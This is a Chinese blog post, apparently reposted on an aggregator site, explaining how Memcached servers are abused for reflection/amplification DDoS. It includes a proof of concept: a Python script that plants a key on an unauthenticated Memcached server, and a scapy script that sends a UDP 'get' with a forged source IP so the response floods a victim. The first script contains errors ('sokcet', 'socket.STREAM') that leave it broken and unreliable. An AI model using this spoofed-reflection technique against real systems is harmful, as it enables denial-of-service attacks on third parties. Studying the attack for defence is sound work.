关于Memcached反射型DRDoS攻击分析

Posted 挖洞的土拨鼠

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了关于Memcached反射型DRDoS攻击分析相关的知识,希望对你有一定的参考价值。

一、Memcached反射攻击原理

1、反射DRDoS攻击:

DRDoS攻击时DoS攻击的一种,DoS是指通过发送或引发大量的资源消耗导致服务不可用的一种攻击方式,中文称之为拒绝服务攻击。DRDoS是反射性拒绝服务攻击,其原理是通过利用你的程序漏洞,发送畸形报文诱发你回复大数据量的报文,从而达到消耗资源,拒绝服务的目的。

2、为什么Memcached可以诱发DRDoS:

因为Memcached是一个缓存服务器,很多web站点用来存储缓存数据,以防止WEB服务器承担更多性能损耗。但是这样情况下,如果发送一个请求,回复大数据量的响应报文,则可以被诱发DRDoS,攻击手段就是重复变换源的发送请求报文即可。

3、以上还有两个前提:

(1)Memcached支持TCP和UDP,且其中UDP是不需要状态连接,和握手的。

(2)Memcached存在未授权访问的情况。

二、Memcached DRDoS的poc

1、攻击手法,

(1)访问可以控制的未授权的memcached,set设置键值

1 set abc 0 0 10
2 abc ->键名
3 0 -> flag
4 0 -> exptime 过期时间,0便是永不过期
5 10 -> 返回10Byte的数据,当然可以返回更多

python代码如下

 1 # -*- coding:utf-8 -*-
 2 
 3 import socket
 4 
 5 target_host = "192.168.1.1"
 6 target_port = 11211
 7 client = sokcet.socket(socket.AF_INET,socket.STREAM)
 8 client.settimeout(10)
 9 client.connect((target_host,target_port))
10 
11 client.send("set abcd 0 0 10\r\nabcd\r\n\r\n\r\n\r\n\r\n")
12 data = client.recv(1024)
13 print data

(2)然后get这个abc即可

1 # -*- coding:utf-8 -*-
2 
3 from scapy.all import *
4 
5 data = "\x00\x00\x00\x00\x00\x01\x00\x00get abcd\r\n"
6 pkt = scapy.all.IP(dst="192.168.1.1",src="192.168.1.2") / scapy.all.UDP(sport=80,dport=11211) / data
7 send(pkt ,inter=1,count=1)

 

以上是关于关于Memcached反射型DRDoS攻击分析的主要内容,如果未能解决你的问题,请参考以下文章

核弹级Memcached DRDoS的攻守道

转载深度剖析Memcached超大型DRDoS攻击

未然预警 | Memcached被滥用于DRDoS攻击

原创技术分析 | Memcached之反射拒绝服务攻击技术原理

无惧1.35TB Memcached DRDoS攻击,华为云安全一直在行动

海腾数据丨深度剖析Memcached超大型DRDoS攻击